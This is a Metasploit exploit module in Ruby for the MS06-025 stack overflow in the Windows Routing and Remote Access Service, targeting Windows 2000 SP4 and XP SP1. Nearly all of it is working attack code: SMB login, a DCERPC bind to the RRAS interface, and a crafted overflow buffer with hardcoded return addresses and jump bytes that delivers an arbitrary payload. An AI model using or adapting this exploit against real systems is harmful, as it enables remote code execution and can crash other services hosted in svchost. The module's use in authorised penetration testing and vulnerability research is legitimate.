Microsoft RRAS Service Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft RRAS Service Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Windows Routing and Remote  
Access Service. Since the service is hosted inside svchost.exe, a failed   
exploit attempt can cause other system services to fail as well. A valid  
username and password is required to exploit this flaw on Windows 2000.   
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. },  
'Author' =>   
[  
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',  
'hdm'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-2370' ],  
[ 'OSVDB', '26437' ],  
[ 'BID', '18325' ],  
[ 'MSB', 'MS06-025' ]   
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1104,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],  
[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],  
],  
  
'DisclosureDate' => 'Jun 13 2006'))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),  
], self.class)  
  
end  
  
# Post authentication bugs are rarely useful during automation  
def autofilter  
false  
end  
  
def exploit   
  
connect()  
smb_login()  
  
handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])  
  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
  
print_status('Getting OS...')  
  
# Check the remote OS name and version  
os = smb_peer_os  
pat = ''  
  
case os  
when /Windows 5\.0/  
pat =   
payload.encoded +  
"\xeb\x06" +  
rand_text_alphanumeric(2) +  
[target.ret].pack('V') +  
"\xe9\xb7\xfb\xff\xff"  
os = 'Windows 2000'  
when /Windows 5\.1/  
pat =  
rand_text_alphanumeric(0x4c) +  
"\xeb\x06" +  
rand_text_alphanumeric(2) +  
[target.ret].pack('V') +  
payload.encoded  
os = 'Windows XP'   
end  
  
req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)  
len = req.length  
stb =   
NDR.long(0x20000) +  
NDR.long(len) +  
req +   
NDR.long(len)  
  
print_status("Calling the vulnerable function on #{os}...")  
  
begin  
dcerpc.call(0x0C, stb)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
rescue => e  
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/  
raise e  
end  
end  
  
# Cleanup  
handler  
disconnect  
end  
  
end  
`